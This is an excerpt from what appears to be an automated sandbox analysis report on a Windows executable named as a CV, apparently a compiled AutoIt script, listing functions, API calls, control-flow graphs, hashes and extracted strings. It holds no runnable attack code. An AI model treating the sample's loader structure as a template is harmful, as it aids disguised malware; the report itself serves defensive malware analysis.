                                                                          • API String ID: 438480954-757150827
                                                                          • Opcode ID: 0c847bad05cf0c76d4acd2b796d2ba80f5c11ddef8a2bb551f163f7ae949faeb
                                                                          • Instruction ID: 1629c06990cb3ec9b9a10f60f93712db2b63e3ae33173df77685cd76e5ddbf4f
                                                                          • Opcode Fuzzy Hash: 0c847bad05cf0c76d4acd2b796d2ba80f5c11ddef8a2bb551f163f7ae949faeb
                                                                          • Instruction Fuzzy Hash: 7B511631A0434AEACF22EBF0DC59EEE7F7BBF46704F005065F6516A192DA744A09CB21
                                                                          Function 005ADDC0 Relevance: 10.7, APIs: 7, Instructions: 175COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1079 5addc0-5ade4f call 59d7f7 GetVersionExW call 596a63 call 5adfb4 call 596571 1088 6024c8-6024cb 1079->1088 1089 5ade55-5ade56 1079->1089 1092 6024e4-6024e8 1088->1092 1093 6024cd 1088->1093 1090 5ade58-5ade63 1089->1090 1091 5ade92-5adea2 call 5adf77 1089->1091 1096 5ade69-5ade6b 1090->1096 1097 60244e-602454 1090->1097 1110 5adec7-5adee1 1091->1110 1111 5adea4-5adec1 GetCurrentProcess call 5adf5f 1091->1111 1094 6024d3-6024dc 1092->1094 1095 6024ea-6024f3 1092->1095 1099 6024d0 1093->1099 1094->1092 1095->1099 1102 6024f5-6024f8 1095->1102 1103 602469-602475 1096->1103 1104 5ade71-5ade74 1096->1104 1100 602456-602459 1097->1100 1101 60245e-602464 1097->1101 1099->1094 1100->1091 1101->1091 1102->1094 1106 602477-60247a 1103->1106 1107 60247f-602485 1103->1107 1108 5ade7a-5ade89 1104->1108 1109 602495-602498 1104->1109 1106->1091 1107->1091 1114 5ade8f 1108->1114 1115 60248a-602490 1108->1115 1109->1091 1116 60249e-6024b3 1109->1116 1112 5adee3-5adef7 call 5ae00c 1110->1112 1113 5adf31-5adf3b GetSystemInfo 1110->1113 1111->1110 1129 5adec3 1111->1129 1126 5adf29-5adf2f GetSystemInfo 1112->1126 1127 5adef9-5adf01 call 5adff4 GetNativeSystemInfo 1112->1127 1122 5adf0e-5adf1a 1113->1122 1114->1091 1115->1091 1119 6024b5-6024b8 1116->1119 1120 6024bd-6024c3 1116->1120 1119->1091 1120->1091 1124 5adf1c-5adf1f FreeLibrary 1122->1124 1125 5adf21-5adf26 1122->1125 1124->1125 1131 5adf03-5adf07 1126->1131 1127->1131 1129->1110 1131->1122 1133 5adf09-5adf0c FreeLibrary 1131->1133 1133->1122
                                                                          APIs
                                                                          • GetVersionExW.KERNEL32(?), ref: 005ADDEC
                                                                          • GetCurrentProcess.KERNEL32(00000000,0062DC38,?,?), ref: 005ADEAC
                                                                          • GetNativeSystemInfo.KERNELBASE(?,0062DC38,?,?), ref: 005ADF01
                                                                          • FreeLibrary.KERNEL32(00000000,?,?), ref: 005ADF0C
                                                                          • FreeLibrary.KERNEL32(00000000,?,?), ref: 005ADF1F
                                                                          • GetSystemInfo.KERNEL32(?,0062DC38,?,?), ref: 005ADF29
                                                                          • GetSystemInfo.KERNEL32(?,0062DC38,?,?), ref: 005ADF35
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: InfoSystem$FreeLibrary$CurrentNativeProcessVersion
                                                                          • String ID:
                                                                          • API String ID: 3851250370-0
                                                                          • Opcode ID: 01cad41c931183c68bc8d11ce449cff034d99800f64c6e28f01175e14fd6ab59
                                                                          • Instruction ID: 700442c580ddaa4abf8e5e2cd2e89d78fe78c05b069dbf38f3e3af6f308abe47
                                                                          • Opcode Fuzzy Hash: 01cad41c931183c68bc8d11ce449cff034d99800f64c6e28f01175e14fd6ab59
                                                                          • Instruction Fuzzy Hash: 8C61D2B180A384DFCF15DF6898C51EEBFB5BF2A300B1989D9D8469F247C624C909CB65
                                                                          Function 0059406B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 1151 59406b-594083 CreateStreamOnHGlobal 1152 5940a3-5940a6 1151->1152 1153 594085-59409c FindResourceExW 1151->1153 1154 604f16-604f25 LoadResource 1153->1154 1155 5940a2 1153->1155 1154->1155 1156 604f2b-604f39 SizeofResource 1154->1156 1155->1152 1156->1155 1157 604f3f-604f4a LockResource 1156->1157 1157->1155 1158 604f50-604f6e 1157->1158 1158->1155
                                                                          APIs
                                                                          • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,0059449E,?,?,00000000,00000001), ref: 0059407B
                                                                          • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,0059449E,?,?,00000000,00000001), ref: 00594092
                                                                          • LoadResource.KERNEL32(?,00000000,?,?,0059449E,?,?,00000000,00000001,?,?,?,?,?,?,005941FB), ref: 00604F1A
                                                                          • SizeofResource.KERNEL32(?,00000000,?,?,0059449E,?,?,00000000,00000001,?,?,?,?,?,?,005941FB), ref: 00604F2F
                                                                          • LockResource.KERNEL32(0059449E,?,?,0059449E,?,?,00000000,00000001,?,?,?,?,?,?,005941FB,00000000), ref: 00604F42
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                                          • String ID: SCRIPT
                                                                          • API String ID: 3051347437-3967369404
                                                                          • Opcode ID: 66487bdcce6fca166e9219439e026ca9b8bc2a024133354b5a7b6c85f9a42b1a
                                                                          • Instruction ID: adad18cf65096cae128393e0b174aea19cd042f09b01060169c4ffeacc39a89d
                                                                          • Opcode Fuzzy Hash: 66487bdcce6fca166e9219439e026ca9b8bc2a024133354b5a7b6c85f9a42b1a
                                                                          • Instruction Fuzzy Hash: 1B117C70200701BFEB218B25ED4CF677BBAEBC5B51F14812DF6168A2A0DB71DC018A20
                                                                          Function 005D6CA9 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetFileAttributesW.KERNELBASE(?,00602F49), ref: 005D6CB9
                                                                          • FindFirstFileW.KERNELBASE(?,?), ref: 005D6CCA
                                                                          • FindClose.KERNEL32(00000000), ref: 005D6CDA
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: FileFind$AttributesCloseFirst
                                                                          • String ID:
                                                                          • API String ID: 48322524-0
                                                                          • Opcode ID: 1bd36351aff9fa9e1b4eaf821b98d9f14077548376cee70ca6f36251170074ec
                                                                          • Instruction ID: 03930b200f21eecb4da2200df18e8f6768fcd9a713c31b2c1b283b1e7f7bb254
                                                                          • Opcode Fuzzy Hash: 1bd36351aff9fa9e1b4eaf821b98d9f14077548376cee70ca6f36251170074ec
                                                                          • Instruction Fuzzy Hash: 05E04831824515678320673CEC0E4E97B6DEA05339F144717F575C12E0E770DD4545D5
                                                                          Function 005A3200 Relevance: 2.2, Strings: 1, Instructions: 986COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: BuffCharUpper
                                                                          • String ID: e
                                                                          • API String ID: 3964851224-1282221545
                                                                          • Opcode ID: 0495c7ac9be889a4ada43f32dfb00bb5f828c800aa83f0b360ad4340672e0d86
                                                                          • Instruction ID: 370fe2601fbb1863fddec56486ac31f2bea35a7ee2396b9bfa4dbb2c01b53bbb
                                                                          • Opcode Fuzzy Hash: 0495c7ac9be889a4ada43f32dfb00bb5f828c800aa83f0b360ad4340672e0d86
                                                                          • Instruction Fuzzy Hash: BE926C706083419FD724DF18C494B6ABBE2BF89308F14885DF99A8B3A2D771ED45CB52
                                                                          Function 0059E8D0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 816windowsleeptimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0059E959
                                                                          • timeGetTime.WINMM ref: 0059EBFA
                                                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0059ED2E
                                                                          • TranslateMessage.USER32(?), ref: 0059ED3F
                                                                          • DispatchMessageW.USER32(?), ref: 0059ED4A
                                                                          • LockWindowUpdate.USER32(00000000), ref: 0059ED79
                                                                          • DestroyWindow.USER32 ref: 0059ED85
                                                                          • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0059ED9F
                                                                          • Sleep.KERNEL32(0000000A), ref: 00605270
                                                                          • TranslateMessage.USER32(?), ref: 006059F7
                                                                          • DispatchMessageW.USER32(?), ref: 00605A05
                                                                          • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00605A19
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
                                                                          • String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
                                                                          • API String ID: 2641332412-570651680
                                                                          • Opcode ID: b72fbab183de7bb34d913080391346c69de428e50f2c380e6dc4e7c8a9b255c0
                                                                          • Instruction ID: 1c14a95646a4a07a4bac6b37bfa0d6f47cf2d8af69779767cd8ce786085272d1
                                                                          • Opcode Fuzzy Hash: b72fbab183de7bb34d913080391346c69de428e50f2c380e6dc4e7c8a9b255c0
                                                                          • Instruction Fuzzy Hash: 1C62A170504341DFDB24DF24C89ABAB7BE6BF85304F18496EE9868B2D2DB71D844CB52
                                                                          Function 005C5C78 Relevance: 47.9, APIs: 26, Strings: 1, Instructions: 626fileCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ___createFile.LIBCMT ref: 005C5EC3
                                                                          • ___createFile.LIBCMT ref: 005C5F04
                                                                          • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 005C5F2D
                                                                          • __dosmaperr.LIBCMT ref: 005C5F34
                                                                          • GetFileType.KERNELBASE(00000000,?,?,?,?,?,00000000,00000109), ref: 005C5F47
                                                                          • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 005C5F6A
                                                                          • __dosmaperr.LIBCMT ref: 005C5F73
                                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 005C5F7C
                                                                          • __set_osfhnd.LIBCMT ref: 005C5FAC
                                                                          • __lseeki64_nolock.LIBCMT ref: 005C6016
                                                                          • __close_nolock.LIBCMT ref: 005C603C
                                                                          • __chsize_nolock.LIBCMT ref: 005C606C
                                                                          • __lseeki64_nolock.LIBCMT ref: 005C607E
                                                                          • __lseeki64_nolock.LIBCMT ref: 005C6176
                                                                          • __lseeki64_nolock.LIBCMT ref: 005C618B
                                                                          • __close_nolock.LIBCMT ref: 005C61EB
                                                                            • Part of subcall function 005BEA9C: CloseHandle.KERNELBASE(00000000,0063EEF4,00000000,?,005C6041,0063EEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 005BEAEC
                                                                            • Part of subcall function 005BEA9C: GetLastError.KERNEL32(?,005C6041,0063EEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 005BEAF6
                                                                            • Part of subcall function 005BEA9C: __free_osfhnd.LIBCMT ref: 005BEB03
                                                                            • Part of subcall function 005BEA9C: __dosmaperr.LIBCMT ref: 005BEB25
                                                                            • Part of subcall function 005B7C0E: __getptd_noexit.LIBCMT ref: 005B7C0E
                                                                          • __lseeki64_nolock.LIBCMT ref: 005C620D
                                                                          • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 005C6342
                                                                          • ___createFile.LIBCMT ref: 005C6361
                                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 005C636E
                                                                          • __dosmaperr.LIBCMT ref: 005C6375
                                                                          • __free_osfhnd.LIBCMT ref: 005C6395
                                                                          • __invoke_watson.LIBCMT ref: 005C63C3
                                                                          • __wsopen_helper.LIBCMT ref: 005C63DD
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
                                                                          • String ID: @
                                                                          • API String ID: 3896587723-2766056989
                                                                          • Opcode ID: ab5c6ab5351da3063184d7379cea58dba17348f3fe3953bea7fed7d5d9dba818
                                                                          • Instruction ID: f0189ff6db5bdc1b379fed5d9bda2df73cad3df08979323767fcb732e728e22e
                                                                          • Opcode Fuzzy Hash: ab5c6ab5351da3063184d7379cea58dba17348f3fe3953bea7fed7d5d9dba818
                                                                          • Instruction Fuzzy Hash: 0A22157190060A9FEB299FE8CC49FED7F61FB44314F28462DE522A72D1D275AE80C791
                                                                          Function 005DFA0C Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 238COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • _wcscpy.LIBCMT ref: 005DFA96
                                                                          • _wcschr.LIBCMT ref: 005DFAA4
                                                                          • _wcscpy.LIBCMT ref: 005DFABB
                                                                          • _wcscat.LIBCMT ref: 005DFACA
                                                                          • _wcscat.LIBCMT ref: 005DFAE8
                                                                          • _wcscpy.LIBCMT ref: 005DFB09
                                                                          • __wsplitpath.LIBCMT ref: 005DFBE6
                                                                          • _wcscpy.LIBCMT ref: 005DFC0B
                                                                          • _wcscpy.LIBCMT ref: 005DFC1D
                                                                          • _wcscpy.LIBCMT ref: 005DFC32
                                                                          • _wcscat.LIBCMT ref: 005DFC47
                                                                          • _wcscat.LIBCMT ref: 005DFC59
                                                                          • _wcscat.LIBCMT ref: 005DFC6E
                                                                            • Part of subcall function 005DBFA4: _wcscmp.LIBCMT ref: 005DC03E
                                                                            • Part of subcall function 005DBFA4: __wsplitpath.LIBCMT ref: 005DC083
                                                                            • Part of subcall function 005DBFA4: _wcscpy.LIBCMT ref: 005DC096
                                                                            • Part of subcall function 005DBFA4: _wcscat.LIBCMT ref: 005DC0A9
                                                                            • Part of subcall function 005DBFA4: __wsplitpath.LIBCMT ref: 005DC0CE
                                                                            • Part of subcall function 005DBFA4: _wcscat.LIBCMT ref: 005DC0E4
                                                                            • Part of subcall function 005DBFA4: _wcscat.LIBCMT ref: 005DC0F7
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
                                                                          • String ID: >>>AUTOIT SCRIPT<<<$t2d
                                                                          • API String ID: 2955681530-3333944232
                                                                          • Opcode ID: b705352ace0ae2e198e07cdfb832b06e281186c076941116b04336227dd3a470
                                                                          • Instruction ID: 915e326fc50c1cb6d4775662819dfb854ec82d012b1bf2df4d07347285ccaa62
                                                                          • Opcode Fuzzy Hash: b705352ace0ae2e198e07cdfb832b06e281186c076941116b04336227dd3a470
                                                                          • Instruction Fuzzy Hash: C1919171504646AFDB20EF58C855E9BBBE9BF84310F00482AF94997391DB31FA44CB91
                                                                          Function 005DBFA4 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 316fileCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                            • Part of subcall function 005DBDB4: __time64.LIBCMT ref: 005DBDBE
                                                                            • Part of subcall function 00594517: _fseek.LIBCMT ref: 0059452F
                                                                          • __wsplitpath.LIBCMT ref: 005DC083
                                                                            • Part of subcall function 005B1DFC: __wsplitpath_helper.LIBCMT ref: 005B1E3C
                                                                          • _wcscpy.LIBCMT ref: 005DC096
                                                                          • _wcscat.LIBCMT ref: 005DC0A9
                                                                          • __wsplitpath.LIBCMT ref: 005DC0CE
                                                                          • _wcscat.LIBCMT ref: 005DC0E4
                                                                          • _wcscat.LIBCMT ref: 005DC0F7
                                                                          • _wcscmp.LIBCMT ref: 005DC03E
                                                                            • Part of subcall function 005DC56D: _wcscmp.LIBCMT ref: 005DC65D
                                                                            • Part of subcall function 005DC56D: _wcscmp.LIBCMT ref: 005DC670
                                                                          • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 005DC2A1
                                                                          • DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 005DC338
                                                                          • CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 005DC34E
                                                                          • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 005DC35F
                                                                          • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 005DC371
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath$Copy__time64__wsplitpath_helper_fseek_wcscpy
                                                                          • String ID: p1Wu`KXu
                                                                          • API String ID: 2378138488-4063981602
                                                                          • Opcode ID: 48cca4211c44ec1025d37cf302e6da3557c13828d6cc79c79a4d72a63b99a868
                                                                          • Instruction ID: 28a9682f228a4df1d76c99d7ff38a67a1ac5e6760fd2625945e92f7e92c6bc0d
                                                                          • Opcode Fuzzy Hash: 48cca4211c44ec1025d37cf302e6da3557c13828d6cc79c79a4d72a63b99a868
                                                                          • Instruction Fuzzy Hash: 6AC1FEB190011AABDF21DF99CC85EDEBFB9BF85310F1040A7B609E6251DB709A45CF61
                                                                          Function 00593F53 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          • GetSysColorBrush.USER32(0000000F), ref: 00593F86
                                                                          • RegisterClassExW.USER32(00000030), ref: 00593FB0
                                                                          • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00593FC1
                                                                          • InitCommonControlsEx.COMCTL32(?), ref: 00593FDE
                                                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00593FEE
                                                                          • LoadIconW.USER32(000000A9), ref: 00594004
                                                                          • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00594013
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                                          • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                                          • API String ID: 2914291525-1005189915
                                                                          • Opcode ID: be91d93746b508e758a0dd776bff1ed90bd81bb1a3707d9bd512e4fd3e1caf2b
                                                                          • Instruction ID: b2f36c01cfd882271a9251297a1854c04ae3cd442c0efd805370ec27dee5d5b7
                                                                          • Opcode Fuzzy Hash: be91d93746b508e758a0dd776bff1ed90bd81bb1a3707d9bd512e4fd3e1caf2b
                                                                          • Instruction Fuzzy Hash: AF21D6B5D00319AFDB00DFA4EC89BCDBBB6FB09701F14921AF615AA2A0D7B54544CF91
                                                                          Function 00593742 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 961 593742-593762 963 5937c2-5937c4 961->963 964 593764-593767 961->964 963->964 965 5937c6 963->965 966 593769-593770 964->966 967 5937c8 964->967 968 5937ab-5937b3 DefWindowProcW 965->968 971 59382c-593834 PostQuitMessage 966->971 972 593776-59377b 966->972 969 601e00-601e2e call 592ff6 call 5ae312 967->969 970 5937ce-5937d1 967->970 973 5937b9-5937bf 968->973 1008 601e33-601e3a 969->1008 974 5937d3-5937d4 970->974 975 5937f6-59381d SetTimer RegisterWindowMessageW 970->975 979 5937f2-5937f4 971->979 977 601e88-601e9c call 5d4ddd 972->977 978 593781-593783 972->978 980 601da3-601da6 974->980 981 5937da-5937ed KillTimer call 593847 call 59390f 974->981 975->979 983 59381f-59382a CreatePopupMenu 975->983 977->979 1003 601ea2 977->1003 984 593789-59378e 978->984 985 593836-593845 call 5aeb83 978->985 979->973 987 601da8-601daa 980->987 988 601ddc-601dfb MoveWindow 980->988 981->979 983->979 991 601e6d-601e74 984->991 992 593794-593799 984->992 985->979 996 601dcb-601dd7 SetFocus 987->996 997 601dac-601daf 987->997 988->979 991->968 999 601e7a-601e83 call 5ca5f3 991->999 1001 59379f-5937a5 992->1001 1002 601e58-601e68 call 5d55bd 992->1002 996->979 997->1001 1004 601db5-601dc6 call 592ff6 997->1004 999->968 1001->968 1001->1008 1002->979 1003->968 1004->979 1008->968 1009 601e40-601e53 call 593847 call 594ffc 1008->1009 1009->968
                                                                          APIs
                                                                          • DefWindowProcW.USER32(?,?,?,?), ref: 005937B3
                                                                          • KillTimer.USER32(?,00000001), ref: 005937DD
                                                                          • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00593800
                                                                          • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 0059380B
                                                                          • CreatePopupMenu.USER32 ref: 0059381F
                                                                          • PostQuitMessage.USER32(00000000), ref: 0059382E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                                          • String ID: TaskbarCreated
                                                                          • API String ID: 129472671-2362178303
                                                                          • Opcode ID: feca4b0501b28de65236d68a823ea6a58c4a04fb2127b67ef69a0775b0853a66
